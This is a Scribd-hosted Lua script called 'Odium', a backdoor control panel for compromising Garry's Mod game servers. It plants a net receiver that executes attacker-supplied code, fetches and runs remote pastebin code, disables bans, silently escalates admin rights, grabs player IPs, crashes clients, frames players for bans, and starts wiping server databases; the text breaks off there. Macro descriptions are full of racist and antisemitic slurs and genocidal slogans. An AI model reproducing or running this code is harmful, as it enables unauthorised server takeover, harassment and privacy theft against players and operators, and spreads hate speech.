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Odium

This document contains Lua code that defines functions and tables for managing backdoors on a server. It includes code for checking if backdoor messages are in the server's net message pool, defining backdoor types and the current active one, adding console commands, checking if backdoors are active, and defining macros that can be run including ones for spamming chat, playing sounds, and simulating earthquakes.

Uploaded by

Hary Masugianto
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
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Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
294 views52 pages

Odium

This document contains Lua code that defines functions and tables for managing backdoors on a server. It includes code for checking if backdoor messages are in the server's net message pool, defining backdoor types and the current active one, adding console commands, checking if backdoors are active, and defining macros that can be run including ones for spamming chat, playing sounds, and simulating earthquakes.

Uploaded by

Hary Masugianto
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 52

//local odium = jit.status( 'ODIUM' ) if !

istable(odium) then print('FAILED TO


IMPORT ODIUM TABLE') end

local BD = {}
local h = http

BD.Backdoors = BD.Backdoors or {}

BD.CurrentBackdoor = "Generic"

BD.BackdoorTypes = {

["Generic"] = {

["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' )


net.Receive( '_CAC_ReadMemory', function() local x =
CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end
end )",

["Netkey"] = "_CAC_ReadMemory",

local netsss = net.Start

function BD.IsMessagePooled( netmessage )

local netfunc = netsss

local status, error = pcall( netfunc, netmessage )

return status

end

local net = net

local ctxt = chat.AddText

function BD.ChatText( message, col )

ctxt( Color(195,205,255,255), "[Blackdoor] ", col, message )

end
function BD.PingBackDoors()

local bds = {}

for k, v in pairs(BD.BackdoorTypes) do

if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end

end

return bds

end

concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors()


end)

function BD.BackdoorActive()

return table.Count( BD.Backdoors ) > 0

end

function BD.GetActive()

if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69",


["Netkey"] = "" } end

return BD.BackdoorTypes[BD.CurrentBackdoor]

end

BD.BDMacros ={

["Artillery Strike"] = {

["Type"] = 1,

["Code"] = [[if !bombstrike then

hook.Add("Think", "lulz_bombstrike", function()

local explode = ents.Create( "env_explosion" )

local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000),


math.random(-5000, 5000))

local trc = {}

trc.start = ps
trc.endpos = ps + Vector( 0, 0, -99999)

local tr = util.TraceLine(trc)

if !tr.Hit then return end

explode:SetPos( tr.HitPos )

explode:Spawn()

explode:SetKeyValue( "iMagnitude", "400" )

explode:Fire( "Explode", 0, 0 )

end)

bombstrike = true

else

hook.Remove("Think", "lulz_bombstrike")

bombstrike = false

end]],

["Desc"] = "Explode the shit out of everything",

},

["@ Inject SendLua Interface"] = {

["Type"] = 1,

["Code"] = [[

util.AddNetworkString( "cucked" )

function BDSendLua( p, str ) net.Start( "cucked" ) net.WriteString( str )


net.Send( p ) end

function BDSendLuaAll( str ) net.Start( "cucked" ) net.WriteString( str )


net.Broadcast() end

function BDInjectAids( p ) p:SendLua( 'net.Receive( "cucked", function()


RunString( net.ReadString() ) end )' ) end

for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end

hook.Add( "PlayerInitialSpawn", "youonlygetcuckedagain", function( p )


BDInjectAids( p ) end)

]],

["Desc"] = "You need this to use certain macros",


},

["Announce centre screen"] = {

["Type"] = 1,

["Code"] = [[for k, v in pairs(player.GetAll()) do


v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],

["Desc"] = "Make an announcement in the centre of everybodys screen",

["NeedsParameters"] = 1,

},

["Rainbow chat spam"] = {

["Type"] = 1,

["Code"] = [[

if !timer.Exists( "lulz_chatspam" ) then

timer.Create( "lulz_chatspam", 0.5, 0, function()


BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255),
math.random(0, 255) ), @1 )' ) end)

else

timer.Remove( "lulz_chatspam" )

end]],

["Desc"] = "Spam rainbow chat for all players with the 1st parameter
as the text",

["NeedsParameters"] = 1,

},

["Rainbow chat spam (Turbo)"] = {

["Type"] = 1,

["Code"] = [[

if !timer.Exists( "lulz_chatspam" ) then

timer.Create( "lulz_chatspam", 0.01, 0, function()


BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255),
math.random(0, 255) ), @1 )' ) end)
else

timer.Remove( "lulz_chatspam" )

end]],

["Desc"] = "Spam rainbow chat for all players with the 1st
parameter as the text",

["NeedsParameters"] = 1,

},

["Unlock all doors"] = {

["Type"] = 1,

["Code"] = [[local doors = {"func_door", "func_door_rotating",


"prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if
table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],

["Desc"] = "",

},

["Toggle all doors"] = {

["Type"] = 1,

["Code"] = [[local doors = {"func_door", "func_door_rotating",


"prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if
table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],

["Desc"] = "",

},

["Broken Glass Symphony"] = {

["Type"] = 1,

["Code"] = [[

if !timer.Exists( "A true masterpiece" ) then

timer.Create( "A true masterpiece", 0.2, 0, function()

for _, p in pairs(player.GetAll()) do

p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100,


math.random( 40, 180 ) )
end

end)

else

timer.Remove( "A true masterpiece" )

end]],

["Desc"] = "Beethoven's last hidden symphony, only rediscovered


in 2017",

},

["Yeah Baby"] = {

["Type"] = 1,

["Code"] = [[

if !timer.Exists( "porn" ) then

timer.Create( "porn", 0.3, 0, function()

for _, p in pairs(player.GetAll()) do

p:EmitSound( "vo/npc/female01/yeah02.wav", 100,


math.random( 90, 120 ) )

end

end)

else

timer.Remove( "porn" )

end]],

["Desc"] = "YEAH BABY YEAH",

},

["Street War"] = {

["Type"] = 1,

["Code"] = [[

if !timer.Exists( "cwar" ) then

timer.Create( "cwar", 1, 0, function()

for _, p in pairs(player.GetAll()) do
p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav",
100, math.random( 90, 120 ) )

end

end)

else

timer.Remove( "cwar" )

end]],

["Desc"] = "For when you need more dakka",

},

["Earthquake"] = {

["Type"] = 1,

["Code"] = [[

if !timer.Exists( "earthquake" ) then

timer.Create( "earthquake", 0.5, 500, function()

for _, p in pairs(player.GetAll()) do

p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )

p:SetVelocity( Vector( math.random( -50, 50 ),


math.random( -50, 50 ), math.random( 100, 150 ) ) )

util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )

p:EmitSound( "ambient/explosions/exp1.wav", 100,


math.random( 60, 100 ) )

end

for _, e in pairs(ents.GetAll()) do

if e:GetPhysicsObject() and
e:GetPhysicsObject():IsValid() then
e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50,
50 ), math.random( 100, 150 ) ) ) end

end
end)

else

timer.Remove( "earthquake" )

end]],

["Desc"] = "For when you need more dakka",

},

["Seize the server"] = {

["Type"] = 1,

["Code"] = [[

hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply )


ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )
html:OpenURL( "https://globalwraith.com/util/seized.html" )') end)

for k, v in pairs(player.GetAll()) do

v:SendLua('local html = vgui.Create( "HTML" )


html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://odium.pro" )')

end]],

["Desc"] = "Display the seized by wraithnet message to


all players",

},

["Explode all vehicles"] = {

["Type"] = 1,

["Code"] = [[for k, v in pairs(ents.GetAll()) do if


v:IsVehicle() then

local explo = ents.Create("env_explosion")

explo:SetPos(v:GetPos())

explo:SetKeyValue("iMagnitude", "300")

explo:Spawn()

explo:Activate()

explo:Fire("Explode", "", 0)

end
end]],

["Desc"] = "",

},

["RCON command"] = {

["Type"] = 1,

["Code"] = [[game.ConsoleCommand( @1.."\n" )]],

["Desc"] = "Like having rcon access without actually


having rcon access",

},

["Lua run"] = {

["Type"] = 1,

["Code"] = [[@1]],

["Desc"] = "For running your dank luas",

},

["Lua run from pastebin"] = {

["Type"] = 1,

["Code"] = [[http.Fetch( "@1", function( b, l, h, c )


RunString( b ) end, function() end )]],

["Desc"] = "Fetch and run code from a pastebin link


( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )",

},

["Destroy ULX Ban/Kick"] = {

["Type"] = 1,

["Code"] = [[ULib.Ban = function() return false end

ULib.addBan = function() return end

ULib.kick = function() return end]],

["Desc"] = "Completely break ulx ban and ulx kick so you


can't be locked out of the server",

},

------------------------ player targeted macros


------------------------

["Kill player"] = {

["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 =


dangerous

["Code"] = [[v:Kill()]],

["Desc"] = "",

},

["Fumble player"] = {

["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 =


dangerous

["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],

["Desc"] = "Knocks their current weapon out of their


hand",

},

["Strip weapons"] = {

["Type"] = 2,

["Code"] = [[v:StripWeapons()]],

["Desc"] = "",

},

["Rocket"] = {

["Type"] = 2,

["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],


["Desc"] = "Sends them flying up into the air",

},

["Rocket (Spastic)"] = {

["Type"] = 2,

["Code"] = [[v:SetVelocity( Vector(math.random( -9000,


9000), math.random( -9000, 9000), 9000) )]],

["Desc"] = "HOLY SHIIIIIIIIIIIT",

},

["Change model"] = {

["Type"] = 2,

["Code"] = [[v:SetModel( @1 )]],

["Desc"] = "Set their player model to the specified


string (1st paremeter)",

["NeedsParameters"] = 1,

},

["Set health + armor"] = {

["Type"] = 2,

["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],

["Desc"] = "Sets their health (1st paremeter) and armor


(2nd paremeter)",

["NeedsParameters"] = 2,

},

["Ear rape"] = {

["Type"] = 2,

["Code"] = [[

local snd = {

[1] = "npc/stalker/go_alert2a.wav",
[2] = "vo/npc/male01/question06.wav",

[3] = "ambient/energy/zap1.wav",

[4] = "weapons/knife/knife_stBD.wav",

[5] = "vo/ravenholm/madlaugh04.wav",

[6] = "npc/antlion_guard/antlion_guard_die1.wav",

[7] = "vo/breencast/br_collaboration01.wav,"

v:EmitSound( snd[tonumber(@1)], 100, 100 )

]],

["Desc"] = "Make them emit a sound (1st paremeter is a


number 1-7)",

["NeedsParameters"] = 1,

},

["Ear rape (from internet)"] = {

["Type"] = 2,

["Code"] = [[

BDSendLua( v, 'if soundrape then soundrape:Remove()


soundrape = nil return end soundrape = vgui.Create( "DFrame" )
soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape )
html:OpenURL( @1 )' )

]],

["Desc"] = "Make them hear a sound from a URL (1st


paremeter). Sending a new sound will stop the previous one. Send an invalid url
to stop all sounds entirely on their client",

["NeedsParameters"] = 1,

},

["Eye rape (from internet)"] = {

["Type"] = 2,

["Code"] = [[

BDSendLua( v, 'if bdeyerape then bdeyerape:Remove()


bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )
bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )
bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create(
"HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )

]],

["Desc"] = "Make them see a full screen, unclosable panel


from a URL (1st paremeter). Sending a new url will stop the previous one. Send an
invalid url to clear their view entirely",

["NeedsParameters"] = 1,

},

["Rave Mode"] = {

["Type"] = 2,

["Code"] = [[

BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga


then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint",
"drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255
surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0,
ScrW(), ScrH() ) end) end' )

]],

["Desc"] = "Make them loosen up and join the party",

},

["Rave Music"] = {

["Type"] = 2,

["Code"] = [[

BDSendLua( v,
'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )

]],

["Desc"] = "DOOF DOOF NIGGA",

},

["Whisper"] = {

["Type"] = 2,

["Code"] = [[v:ChatPrint( @1 )]],


["Desc"] = "Anonymously whisper text into their chatbox
(1st paremeter)",

["NeedsParameters"] = 1,

},

["Whisper (advanced)"] = {

["Type"] = 2,

["Code"] = [[

BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )

]],

["Desc"] = "Anonymously whisper coloured text into their


chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",

["NeedsParameters"] = 1,

},

["Ignite player"] = {

["Type"] = 2,

["Code"] = [[v:Ignite( 30 )]],

["Desc"] = "Ignite players for 30 seconds, spam


repeatedly to refresh the duration",

},

["Toggle godmode"] = {

["Type"] = 2,

["Code"] = [[if v:HasGodMode() then v:GodDisable() else


v:GodEnable() end]],

["Desc"] = "",

},

["Crash their gmod"] = {

["Type"] = 2,

["Code"] = [[v:SendLua("function fag() return fag() end


fag()")]],

["Desc"] = "Instantly freezes their game solid, the only


way to fix it is ctrl-alt-delete or a computer restart",

},

["Toggle serverside speedhack"] = {

["Type"] = 2,

["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 )


v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 )
v.Sanic = false end]],

["Desc"] = "GOTTA GO FAST",

},

["Freeze/Unfreeze player"] = {

["Type"] = 2,

["Code"] = [[v:Freeze( !v:IsFrozen() )]],

["Desc"] = "",

},

["Force say"] = {

["Type"] = 2,

["Code"] = [[v:Say(@1)]],

["Desc"] = "Forces them to say the specified string in


chat (first parameter)",

["NeedsParameters"] = 1,

},

["Force concommand"] = {

["Type"] = 2,

["Code"] = [[v:ConCommand(@1)]],

["Desc"] = "Forces them to run the specified console


command (first parameter)",

["NeedsParameters"] = 1,

},

["Grab IP"] = {

["Type"] = 2,

["Code"] = [[ for _, p in pairs(player.GetAll()) do if


%LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],

["Desc"] = "Prints their IP Address to your console",

},

["DarkRP add/remove money"] = {

["Type"] = 2,

["Code"] = [[v:addMoney(@1)]],

["Desc"] = "Adds money to their wallet (first parameter)


remember that you can use negative numbers to subtract money",

["NeedsParameters"] = 1,

},

["DarkRP force job"] = {

["Type"] = 2,

["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do


if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end
end]],

["Desc"] = "Change their team to the specified job (1st


parameter = job name, does not require capitalization)",

["NeedsParameters"] = 1,

},

["Force team switch"] = {

["Type"] = 2,
["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do
if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],

["Desc"] = "Change their team to the specified team name


(1st parameter)",

["NeedsParameters"] = 1,

},

["Noclip player"] = {

["Type"] = 2,

["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then


v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],

["Desc"] = "Toggles noclip on the specified players",

},

["Give weapon to player"] = {

["Type"] = 2,

["Code"] = [[v:Give( @1 )]],

["Desc"] = "Gives this player a weapon (first


parameter)",

["NeedsParameters"] = 1,

},

["Give ammo to player"] = {

["Type"] = 2,

["Code"] = [[v:GiveAmmo( @1, @2, false )]],

["Desc"] = "Gives this player some ammo (first parameter


= amount of ammo, secound parameter = ammo type)",

["NeedsParameters"] = 2,

},

["Teleport (them to your cursor)"] = {

["Type"] = 2,
["Code"] = [[

local tp = false

local tpos

for _, p in pairs(player.GetAll()) do if %LP then tpos =


p:GetEyeTraceNoCursor().HitPos tp = true end end

if tp then v:SetPos( tpos ) end

]],

["Desc"] = "Teleports the selected players to your cursor


location, not recommended for more than 1 person at once",

},

["Teleport (you to them)"] = {

["Type"] = 2,

["Code"] = [[

local tp = false

local tpos = v:GetPos() + Vector( 32, 0, 10)

for _, p in pairs(player.GetAll()) do if %LP then


p:SetPos( tpos ) end end

]],

["Desc"] = "Teleport yourself to the selected player, may


end with you stuck inside a wall",

},

["Teleport (blink)"] = {

["Type"] = 2,

["Code"] = [[

local tpos = v:GetEyeTraceNoCursor().HitPos

v:SetPos( tpos )

]],

["Desc"] = "Use on yourself or others to warp them to


where they are looking",

},
["Spawn entity near player"] = {

["Type"] = 2,

["Code"] = [[

local tr = {}

tr.start = v:GetShootPos()

tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()

tr.filter = {v}

local trace = util.TraceLine(tr)

local dix = ents.Create( @1 )

dix:SetPos(trace.HitPos)

dix:SetAngles(Angle(0,0,0))

dix:Spawn()

]],

["Desc"] = "Spawn an entity in front of this player


(first parameter = entity class), cannot spawn cars!",

["NeedsParameters"] = 1,

},

["Spawn prop near player"] = {

["Type"] = 2,

["Code"] = [[

local tr = {}

tr.start = v:GetShootPos()

tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()

tr.filter = {v}

local trace = util.TraceLine(tr)

local dix = ents.Create( "prop_physics" )

dix:SetPos(trace.HitPos)

dix:SetAngles(Angle(0,0,0))
dix:SetModel( @1 )

dix:Spawn()

]],

["Desc"] = "Spawn a world prop in front of this player


(first parameter = model)",

["NeedsParameters"] = 1,

},

["Spawn odium shrine"] = {

["Type"] = 2,

["Code"] = [[

local tr = {}

tr.start = v:GetShootPos()

tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()

tr.filter = {v}

local trace = util.TraceLine(tr)

local dix = ents.Create( "prop_physics" )

dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )

dix:SetAngles( v:GetAngles() )

dix:SetModel( "models/props_c17/gravestone_cross001a.mdl"
)

dix:Spawn()

dix:SetMoveType( MOVETYPE_NONE )

dix:SetMaterial( "models/shiny" )

dix:SetColor( Color( 0, 0, 40 ) )

local function ecr( parent, model, pos, ang, col, mat )

local dix = ents.Create( "prop_physics" )

dix:SetPos( parent:LocalToWorld( pos ) )

dix:SetAngles( parent:LocalToWorldAngles( ang ) )

dix:SetModel( model )
dix:SetParent( parent )

dix:Spawn()

dix:SetColor( col )

dix:SetMaterial( mat )

end

ecr( dix,
"models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -65, 0, -60 ), Angle( 0,
180, 0 ), Color( 40, 40, 80 ), "models/shiny" )

ecr( dix, "models/hunter/blocks/cube025x3x025.mdl",


Vector( -5, 18, 35 ), Angle( 0, 0, 0 ), Color( 80, 80, 180 ), "models/shiny" )

ecr( dix, "models/hunter/blocks/cube025x3x025.mdl",


Vector( -5, 6, 65 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )

ecr( dix, "models/hunter/blocks/cube025x150x025.mdl",


Vector( -5, 71, 100 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )

ecr( dix, "models/hunter/blocks/cube025x150x025.mdl",


Vector( -5, -59, 100 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )

for _, p in pairs( player.GetAll() ) do


p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "Heil odium.pro, god of
cheating")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1
) end

]],

["Desc"] = "Spawn a world prop in front of this player


(first parameter = model)",

},

["Spawn evil npc near player"] = {

["Type"] = 2,

["Code"] = [[

local tr = {}
tr.start = v:GetShootPos()

tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()

tr.filter = {v}

local trace = util.TraceLine(tr)

local dix = ents.Create( "npc_citizen" )

dix:SetPos(trace.HitPos)

dix:SetAngles(Angle(0,0,0))

dix:SetKeyValue( "additionalequipment",
table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )

dix:SetKeyValue( "citizentype", 3 )

dix:AddRelationship("player D_HT 200")

dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)

dix:SetSchedule( SCHED_IDLE_WANDER )

dix:Spawn()

]],

["Desc"] = "Spawn a hostile NPC in front of this player",

},

["Death ray"] = {

["Type"] = 2,

["Code"] = [[

local trace = v:GetEyeTraceNoCursor()

if trace.Entity:IsValid() then trace.Entity:Remove() end

]],

["Desc"] = "Vaporize whatever this player is looking at",

},

["Death ray (explosive)"] = {

["Type"] = 2,

["Code"] = [[
local trace = v:GetEyeTraceNoCursor()

local explo = ents.Create("env_explosion")

explo:SetPos(trace.HitPos)

explo:SetKeyValue("iMagnitude", "250")

explo:Spawn()

explo:Activate()

explo:Fire("Explode", "", 0)

]],

["Desc"] = "Blow up whatever this player is looking at",

},

["Precise Artillery Strike"] = {

["Type"] = 2,

["Code"] = [[

local trace = v:GetEyeTraceNoCursor()

timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-
9999, 99999), 0.2, 15, function()

local explo = ents.Create("env_explosion")

explo:SetPos(trace.HitPos + Vector( math.random( -500,


500), math.random( -500, 500), math.random( -500, 500) ) )

explo:SetKeyValue("iMagnitude", "250")

explo:Spawn()

explo:Activate()

explo:Fire("Explode", "", 0)

end)

]],

["Desc"] = "Blow up whatever this player is looking at",

},

["Woman Driver"] = {
["Type"] = 2,

["Code"] = [[

local trace = v:GetEyeTraceNoCursor()

local car = ents.Create("prop_physics")

local trace2 = util.TraceLine( { start = trace.HitPos,


endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )

car:SetModel( "models/props_vehicles/car002a_physics.mdl"
)

car:SetAngles( v:GetAngles() )

car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )

car:Spawn()

car:Activate()

car.boom = 6

car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 )


)

car:Ignite( 500 )

car:AddCallback( "PhysicsCollide", function( car, dat )

local explo = ents.Create("env_explosion")

explo:SetPos( car:GetPos() )

explo:SetKeyValue("iMagnitude", "350")

explo:Spawn()

explo:Activate()

explo:Fire("Explode", "", 0)

local ef = EffectData()

ef:SetOrigin( car:GetPos() )

ef:SetMagnitude( 5 )

ef:SetScale( 200 )

util.Effect( "ThumperDust", ef )

car.boom = car.boom - 1

if car.boom < 0 then car:Remove() end

end )
timer.Simple( 30, function() if car:IsValid() then
car:Remove() end end)

]],

["Desc"] = "Make exploding vehicles rain from the sky",

},

["Poison Gas"] = {

["Type"] = 2,

["Code"] = [[

local trace = v:GetEyeTraceNoCursor()

local ar2Explo = ents.Create("env_ar2explosion")

ar2Explo:SetOwner(game.GetWorld())

local p = trace.HitPos

ar2Explo:SetPos(trace.HitPos)

ar2Explo:Spawn()

ar2Explo:Activate()

ar2Explo:Fire("Explode", "", 0)

timer.Create( "gasthekikes_"..math.random(-9999,
9999).."_"..math.random(-9999, 9999), 0.25, 35, function()

for _, ent in pairs(ents.FindInSphere( p, 500)) do

if !ent:IsPlayer() then continue end

local d = DamageInfo()

d:SetDamage( 1 )

d:SetAttacker( game.GetWorld() )

d:SetInflictor( game.GetWorld() )

d:SetDamageType( DMG_DROWN )

ent:TakeDamageInfo( d )

end

end)
]],

["Desc"] = "GAS THE JEWS RACE WAR NOW",

},

["Spawn vehicle near player"] = {

["Type"] = 2,

["Code"] = [[

local trc = {}

trc.start = v:GetShootPos()

trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()

trc.filter = {v}

local tr = util.TraceLine(trc)

local VehicleList = list.Get( "Vehicles" )

local vehicle = VehicleList[ @1 ]

if ( !vehicle ) then return end

local Angles = v:GetAngles()

Angles.pitch = 0

Angles.roll = 0

Angles.yaw = Angles.yaw + 180

local pos = tr.HitPos

if ( vehicle.Offset ) then

pos = pos + tr.HitNormal * vehicle.Offset

end

local Ent = ents.Create( vehicle.Class )

if ( !Ent ) then return end


duplicator.DoGeneric( Ent, vehicle )

if ( vehicle.Model == "models/buggy.mdl" ) then


Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end

if ( vehicle.Model == "models/vehicle.mdl" ) then


Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end

if ( vehicle && vehicle.KeyValues ) then

for k, v in pairs( vehicle.KeyValues ) do

Ent:SetKeyValue( k, v )

end

end

Ent:SetModel( vehicle.Model )

Ent:SetAngles( Angles )

Ent:SetPos( pos )

Ent:Spawn()

Ent:Activate()

if ( Ent.SetVehicleClass && @1 ) then


Ent:SetVehicleClass( @1 ) end

Ent.VehicleName = vehicle.Class

Ent.VehicleTable = @1

Ent.ClassOverride = vehicle.Class

]],

["Desc"] = "Spawn a vehicle in front of this player


(first parameter = vehicle class), don't try to spawn ents with this ya dingus!",

["NeedsParameters"] = 1,

},

["Kick player"] = {

["Type"] = 2,

["Code"] = [[ v:Kick( @1 ) ]],

["Desc"] = "First parameter = reason for kick",

},
["Niggerize player"] = {

["Type"] = 2,

["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0,


0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered =
false end ]],

["Desc"] = "Turns them black as night",

},

["Cloak player"] = {

["Type"] = 2,

["Code"] = [[ if !v.BDCloaked then


v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else
v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],

["Desc"] = "Toggles cloaking on the player, people can


still see the weapon they are holding however",

},

["Allahu Ackbar"] = {

["Type"] = 2,

["Code"] = [[

local explo = ents.Create("env_explosion")

explo:SetOwner(v)

explo:SetPos(v:GetPos())

explo:SetKeyValue("iMagnitude", "250")

explo:Spawn()

explo:Activate()

explo:Fire("Explode", "", 0)

if v:Alive() then v:Kill() end

]],

["Desc"] = "Blows them the fuck up, all kills are


attributed to them so its great for getting random assholes banned",

},
["ULX set access"] = {

["Type"] = 2,

["Code"] = [[ local userInfo =


ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow,
userInfo.deny, @1 ) ]],

["Desc"] = "If ulx is installed this will (silently!) set


them to the specified usergroup (1st parameter)",

["NeedsParameters"] = 1,

},

------------------------ custom / new shit


------------------------

["Africanize"] = {

["Type"] = 2,

["Code"] = [[
local bones = {
[1] = {b = "ValveBiped.Bip01_Head1", v =
Vector(4,0,4)},
[2] = {b = "ValveBiped.Bip01_R_Thigh", v =
Vector(0,0,0)},
[3] = {b = "ValveBiped.Bip01_L_Thigh", v =
Vector(0,0,0)},
[4] = {b = "ValveBiped.Bip01_R_Calf", v =
Vector(0,0,1)},
[5] = {b = "ValveBiped.Bip01_L_Calf", v =
Vector(0,0,1)},
[6] = {b = "ValveBiped.Bip01_R_UpperArm", v =
Vector(0,0,0)},
[7] = {b = "ValveBiped.Bip01_L_UpperArm", v =
Vector(0,0,0)},
[8] = {b = "ValveBiped.Bip01_R_Forearm", v =
Vector(1,1.5,1.5)},
[9] = {b = "ValveBiped.Bip01_L_Forearm", v =
Vector(1,1.5,1.5)},
[10] = {b = "ValveBiped.Bip01_R_Clavicle", v =
Vector(0,0,0)},
[11] = {b = "ValveBiped.Bip01_L_Clavicle", v =
Vector(0,0,0)},
}

if !v.is2D then
v.is2D = true
for k, bone in pairs(bones) do
local boneToFind = v:LookupBone(bone.b)
v:ManipulateBoneScale( boneToFind, bone.v)
end
else
v.is2D = false
for k, bone in pairs(bones) do
local boneToFind = v:LookupBone(bone.b)
v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
end
end
]],

["Desc"] = "Makes the player seem as though they're 2D.",

},

["M9K nuke"] = {

["Type"] = 2,

["Code"] = [[
// if (m9k) then
local nuke = ents.Create("m9k_davy_crockett_explo")
nuke:SetPos(v:GetPos())
nuke:SetOwner(v)
nuke.Owner = v
nuke:Spawn()
nuke:Activate()
// end
]],

["Desc"] = "Creates a nuke 'made' by selected user(s) &


activates it where they're standing.",

},

["Console jammer"] = {

["Type"] = 1,

["Code"] = [[
if !(timer.Exists("consoleJammer")) then
timer.Create("consoleJammer", 0.5, 0, function()

print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
end )
else
timer.Destroy("consoleJammer")
end
]],

["Desc"] = "Spams the server side console with a fuck


load of new lines",

},

["Moan steps"] = {
["Type"] = 1,

["Code"] = [[
if !(hook.GetTable()["PlayerFootstep"]["moanStep"])
then
hook.Add("PlayerFootstep", "moanStep", function(ply,
pos, foot, sound2, volume, filter)
ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
else
hook.Remove("PlayerFootstep", "moanStep")
end
]],

["Desc"] = "Turns all steps into highly orgasmic


moans.",

},

["Delete server"] = {

["Type"] = 3,

["Code"] = [[
local date = os.date( "%m-%d-%y" )
local databases =
{ "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","da
rkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversio
n","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_
